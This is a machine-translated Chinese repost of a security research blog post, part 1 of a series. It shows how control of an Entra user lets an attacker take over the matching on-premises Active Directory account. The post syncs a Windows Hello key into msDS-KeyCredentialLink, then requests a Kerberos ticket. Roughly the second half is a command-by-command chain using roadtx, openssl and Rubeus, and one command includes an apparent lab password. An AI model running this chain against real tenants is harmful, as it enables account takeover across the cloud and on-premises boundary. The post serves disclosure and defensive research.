攻击 Entra Connect Sync :第 1 部分

admin 2024年12月23日14:14:13评论6 views字数 4127阅读13分45秒阅读模式
这是关于攻击者围绕 Active Directory 和 Entra 之间的同步机制进行交易的系列文章中的第一部分。第一篇博文是一篇简短的博文,演示了对 Entra 用户的完全控制如何等于对本地用户的入侵。对于整个博客系列,我试图表达的要点是:

Entra 租户是信任边界

这意味着,如果您的租户由 100 个域组成,则假设目标域的视线范围内,一个域的泄露可能等于所有其他域的泄露。

Entra Connect 同步简介

Entra Connect Sync 是负责在 Active Directory 和 Entra(通常仍称为 Azure Active Directory)之间传播更改的软件。在大多数情况下,更改会从 Active Directory 传播 Entra。举个简单的例子,假设在本地 Active Directory 中创建了一个新用户。下次 Entra Connect Sync 运行同步周期时,特殊的 Entra 同步帐户将向 adminwebservice.onmicrosoft.com 发送一条预配消息,以创建代表该用户的新 Entra 用户。此过程已得到很好的介绍,并且存在用于在 AADInternals 中操作此同步机制的工具。这个机制的一个有趣且相当未开发的部分是 Entra Connect 中的“元宇宙”。

Metaverse 是多个数据源的虚拟表示形式。可以将其视为目录的冲突管理器。每个数据源(AD 和 Entra)称为“连接的目录”。连接的目录由连接目录特定的“连接器”通过远程协议(LDAP、https 等)枚举。每个连接的目录都有一个称为“连接器空间”的虚拟表示形式,它表示从连接的目录同步的所有所需数据。一旦连接的目录运行“导入”,所有用户/设备/组/等都存在于连接器空间中。导入后,将执行同步,并将连接器空间对象“投影”到 metaverse 中。

攻击 Entra Connect Sync :第 1 部分攻击 Entra Connect Sync :第 1 部分

metaverse 对象是来自多个连接目录的所有关联属性的聚合。由于这是一个大量的行话,让我们来看一个示例。在 Active Directory 中,我将创建一个名为 “[email protected]” 的用户。创建用户后,我们在同步服务中运行“增量导入”

攻击 Entra Connect Sync :第 1 部分攻击 Entra Connect Sync :第 1 部分

如您所见,我们有一个“添加”,用户 Jack Burton 现在存在于连接器空间中,但尚未存在于 Metaverse 中。

攻击 Entra Connect Sync :第 1 部分攻击 Entra Connect Sync :第 1 部分

为了将 Jack Burton 用户投影到 metaverse 中,我们需要运行同步。在本例中,我将运行增量同步。

攻击 Entra Connect Sync :第 1 部分攻击 Entra Connect Sync :第 1 部分

单击“投影”链接,我们可以看到新用户已被投影到 Metaverse 中。

攻击 Entra Connect Sync :第 1 部分攻击 Entra Connect Sync :第 1 部分
攻击 Entra Connect Sync :第 1 部分攻击 Entra Connect Sync :第 1 部分

还有一个新的导出属性流,它指示此用户将被预置到另一个连接的目录 (Entra)。要触发此预配,我们最后需要在 Entra 连接器空间上运行导出。

攻击 Entra Connect Sync :第 1 部分攻击 Entra Connect Sync :第 1 部分

Don’t worry about the export errors, I have been doing stuff. At this point, we have an end to end flow of an object being created in AD, projected into the metaverse, and then provisioned in Entra. But from the Entra Connect standpoint, there’s no special differentiator between Entra and Active Directory, they are both simply connector spaces.

那么,属性可以从 Entra 转到 Active Directory 吗?

是的!

属性流由 Entra Connect 规则指定,这些规则具有默认设置,我将在下一篇博客文章中讨论。默认情况下,有一个且只有一个属性从 Entra 用户写入 Active Directory 用户,即 searchableDeviceKey --> msDS-KeyCredentialLink 属性流。如果 msDS-KeyCredentialLink 听起来很熟悉,那是因为它已被广泛称为“影子凭据”的滥用原语。长话短说,如果我们可以将公钥添加到用户的 msDS-KeyCredentialLink 属性中,我们就可以使用私钥获取该用户的 TGT。这意味着,如果我们可以向 Entra 用户添加密钥,我们就可以在本地以他们的身份进行身份验证。当我们更深入地研究 Metaverse 和跨域攻击时,这将在以下博客文章中被证明是一个强大的原语。

滥用 WHFB 密钥获取对本地帐户的访问权限

添加到 Entra 用户的任何密钥材料(Window Hello For Buiness 或 FIDO2)密钥都将同步到本地用户的 msDS-KeyCredentialLink 属性。为了执行此攻击,我们假设完全控制 Entra 用户帐户。这包括纯文本密码和对 MFA 方法的访问。我们稍后会尝试缓解这些假设,但现在我只想证明这个想法。

攻击 Entra Connect Sync :第 1 部分攻击 Entra Connect Sync :第 1 部分

以下是我们可以运行以下命令来在本地用户上获取 msDS-KeyCredentialLink 集。作为高级概述,我们将注册一个 WHFB 密钥。理论上我们也可以做一个 FIDO2 key,但这更容易演示。目前,此攻击需要知道明文密码并拥有至少一个 MFA 身份验证器。要注册 WHFB 密钥,我们将创建一个假设备,获取 PRT,并使用 ngcmfa 声明来丰富它。Dirjkan 已经在 roadtools 工具包中完成了许多繁重的工作。步骤如下:

获取企业设备注册资源服务器的令牌

roadtx auth -r urn:ms-drs:enterpriseregistration.windows.net - device-code

我们需要一个绑定到设备身份的令牌,这意味着我们需要注册一个新设备并获取一个主刷新令牌

roadtx device -a registerroadtx prt -c .devicel.pem -k .devicel.key -u [email protected] -p its@llInTH3rEFLEXez

为了添加 WHFB 密钥,我们需要一个在过去 10 分钟内具有 MFA 声明的令牌,因此我们需要“丰富”PRT

roadtx prtenrich - prt$PRT - prt-sessionkey$SESSION_KEY - ngcmfa-drs-auth - tokens-stdout -u [email protected]

最后,添加 WHFB 密钥

roadtx winhello –access-token <token from previous step>

此时,我们已向 Entra 用户添加了 WHFB 密钥,现在需要等待最多 30 分钟,以便它同步到本地用户。在本文中,我可以手动触发同步,但请注意,这不是 Entra Connect 同步的正常操作顺序。在此图中,我们可以看到新属性已摄取到 Entra 连接器空间中。

攻击 Entra Connect Sync :第 1 部分攻击 Entra Connect Sync :第 1 部分

增量同步显示更新的属性已投影到 metaverse 中加入的用户。

攻击 Entra Connect Sync :第 1 部分攻击 Entra Connect Sync :第 1 部分

最后,导出显示 msDS-KeyCredentialLink 已预配给 Active Directory 用户,如 msDS-KeyCredentialLink 行中所示。

攻击 Entra Connect Sync :第 1 部分攻击 Entra Connect Sync :第 1 部分

我们已经证明,攻击者可以向 msDS-KeyCredentialLink 属性添加公钥,但现在呢?

我们需要对 key 材料进行一些按摩,以获得 jack.burton 的 TGT。

首先,我们需要使用我们在上面注册的密钥创建一个证书签名请求

openssl req -new -key .winhello.key -out .winhello_cert_req.csr

其次,我们需要签署 CSR

openssl x509 -req -days 365 -in .winhello_cert_req.csr -signkey .winhello.key -out .winhello_cert.pem

最后,将其捆绑到 PCKS12 文件中

openssl pkcs12 -export -out jack_burton.pfx -inkey .winhello.key -in .winhello_cert.pem

现在我们可以将 PFX 文件与 Rubeus 等常用工具一起使用

.Rubeus.exe asktgt /user:jack.burton /certificate:C:keysjack_burton.pfx /password:"pfxPassword" /domain:hybrid.hotnops.com /dc:DC1-HYBRID.hybrid.hotnops.com /getcredentials /show

好了,我们通过在 Entra 端采取的行动为用户获取了 TGT。您可能想知道

“如果我们有用户明文密码,为什么需要甚至想要这样做?”

我有三个答案:

  1. 如果攻击者能够在禁用密码写回时修改 Entra 中的用户密码,这将使他们能够访问本地帐户。
  2. 向用户添加密钥的基元不一定需要密码或访问 MFA 身份验证器。我目前正在寻找更好的方法来做到这一点,我怀疑有很多方法可以达到相同的结果。
  3. 向 Entra 用户添加密钥的原语将作为我们将在本博客系列的下两部分中执行的跨域攻击的基础。在许多情况下,我们控制用户、密码和 MFA 身份验证器。

引用

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

https://dirkjanm.io/lateral-movement-and-hash-dumping-with-temporary-access-passes-microsoft-entra/

https://aadinternals.com/talks/Attacking%20Azure%20AD%20by%20abusing%20Synchronisation%20API.pdf

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/concept-azure-ad-connect-sync-architecture

原文始发于微信公众号(安全狗的自我修养):攻击 Entra Connect Sync :第 1 部分

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月23日14:14:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   攻击 Entra Connect Sync :第 1 部分https://cn-sec.com/archives/3536087.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息